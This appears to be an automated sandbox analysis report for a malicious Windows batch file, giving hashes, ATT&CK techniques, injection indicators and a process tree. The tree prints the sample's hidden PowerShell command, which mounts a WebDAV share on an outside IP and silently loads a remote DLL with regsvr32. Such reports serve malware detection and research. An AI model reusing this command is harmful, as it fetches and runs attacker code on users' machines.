042b8f50fa2cb41f7d9807eed94290853e53dfe9e9ef691d6d9aff91d4e39b56

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
19-07-2024 06:55

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General

Target

2411680771803826827.bat
Size

2KB
MD5

0246083c4fda83d178eca1db32a5f12c
SHA1

f10ebe833ee04fcfdc28d0c404aab2175a27ac4c
SHA256

042b8f50fa2cb41f7d9807eed94290853e53dfe9e9ef691d6d9aff91d4e39b56
SHA512

6cf02f6b8fe6655cc36614213dabd2a60156546be97ead9bc22ac922b620b96ffc7a3befec447969f020cc1ab529b358b27abd283f0220d48396c04ee204c7c3

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2888	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2888	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2888	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2892	wordpad.exe
2892	wordpad.exe
2892	wordpad.exe
2892	wordpad.exe
2892	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3020 wrote to memory of 2892	3020	cmd.exe	31
PID 3020 wrote to memory of 2892	3020	cmd.exe	31
PID 3020 wrote to memory of 2892	3020	cmd.exe	31
PID 3020 wrote to memory of 2888	3020	cmd.exe	32
PID 3020 wrote to memory of 2888	3020	cmd.exe	32
PID 3020 wrote to memory of 2888	3020	cmd.exe	32
PID 2888 wrote to memory of 2756	2888	powershell.exe	34
PID 2888 wrote to memory of 2756	2888	powershell.exe	34
PID 2888 wrote to memory of 2756	2888	powershell.exe	34
PID 2888 wrote to memory of 2824	2888	powershell.exe	35
PID 2888 wrote to memory of 2824	2888	powershell.exe	35
PID 2888 wrote to memory of 2824	2888	powershell.exe	35
PID 2888 wrote to memory of 2824	2888	powershell.exe	35
PID 2888 wrote to memory of 2824	2888	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2411680771803826827.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3020
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\194481799514800.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2888
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2756
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\194481799514800.dll
    3⤵
    PID:2824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2888-23-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2888-24-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/3020-17-0x00000000022B0000-0x00000000023B0000-memory.dmp

Filesize
1024KB

Download
memory/3020-16-0x00000000022B0000-0x00000000023B0000-memory.dmp

Filesize
1024KB

Download